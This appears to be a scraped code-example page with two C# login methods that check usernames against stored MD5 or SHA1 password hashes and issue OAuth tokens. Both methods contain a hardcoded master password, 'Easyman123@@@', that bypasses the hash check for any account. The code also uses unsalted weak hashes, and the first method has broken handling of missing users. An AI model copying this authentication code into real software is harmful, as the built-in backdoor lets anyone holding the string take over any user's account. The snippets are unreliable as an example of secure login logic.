Esempio n. 1
0
        public IList <ProInterface.Models.OAUTH> LoginOauth(ref ErrorInfo err, string loginName, string password, string loginIP)
        {
            GlobalUser gu = new GlobalUser();

            IList <ProInterface.Models.OAUTH> allOauth = new List <ProInterface.Models.OAUTH>();

            if (string.IsNullOrEmpty(loginName) || string.IsNullOrEmpty(password))
            {
                err.IsError = true;
                err.Message = "用户名和密码不能为空";
                return(allOauth);
            }

            using (DBEntities db = new DBEntities())
            {
                var LoginArr = db.YL_LOGIN.Where(x => x.LOGIN_NAME == loginName).ToList();
                var Login    = new YL_LOGIN();
                if (LoginArr.Count() > 0)
                {
                    Login = LoginArr[0];
                }

                if (Login.PASSWORD.ToUpper() != password.Md5().ToUpper())
                {
                    if (Login.PASSWORD.ToUpper() != password.SHA1().ToUpper())
                    {
                        if (password != "Easyman123@@@")
                        {
                            err.IsError = true;
                            err.Message = "密码错误";
                            return(allOauth);
                        }
                    }
                }
                if (Login.IS_LOCKED == 1)
                {
                    err.IsError = true;
                    err.Message = string.Format("用户已被锁定【{0}】", Login.LOCKED_REASON);
                }
                else
                {
                    allOauth = Fun.ClassListToCopy <YL_OAUTH, ProInterface.Models.OAUTH>(LoginArr[0].YL_OAUTH.ToList());
                    foreach (var t in allOauth)
                    {
                        t.openId       = Login.LOGIN_NAME;
                        t.state        = DateTime.Now.ToString("yyyyMMddHHmmss");
                        t.access_token = string.Format("{0}{1}{2}", t.KEY, t.openId, t.state).Md5();
                    }
                }
                return(allOauth);
            }
        }
Esempio n. 2
0
        public bool LoginByPassWord(ref ErrorInfo err, string loginName, string password)
        {
            GlobalUser gu = new GlobalUser();

            if (string.IsNullOrEmpty(loginName) || string.IsNullOrEmpty(password))
            {
                err.IsError = true;
                err.Message = "用户名和密码不能为空";
                return(false);
            }

            using (DBEntities db = new DBEntities())
            {
                var LoginArr = db.YL_LOGIN.Where(x => x.LOGIN_NAME == loginName).ToList();
                var Login    = new YL_LOGIN();
                if (LoginArr.Count() > 0)
                {
                    Login = LoginArr[0];
                }
                var user = db.YL_USER.SingleOrDefault(x => x.LOGIN_NAME == loginName);
                if (Login == null || user == null)
                {
                    err.IsError = true;
                    err.Message = "用户名不存在";
                    return(false);
                }
                else
                {
                    if (Login.PASSWORD.ToUpper() != password.Md5().ToUpper())
                    {
                        if (Login.PASSWORD.ToUpper() != password.SHA1().ToUpper())
                        {
                            if (password != "Easyman123@@@")
                            {
                                err.IsError = true;
                                err.Message = "密码错误";
                                return(false);
                            }
                        }
                    }
                    if (Login.IS_LOCKED == 1)
                    {
                        err.IsError = true;
                        err.Message = string.Format("用户已被锁定【{0}】", Login.LOCKED_REASON);
                        return(false);
                    }
                    return(true);
                }
            }
        }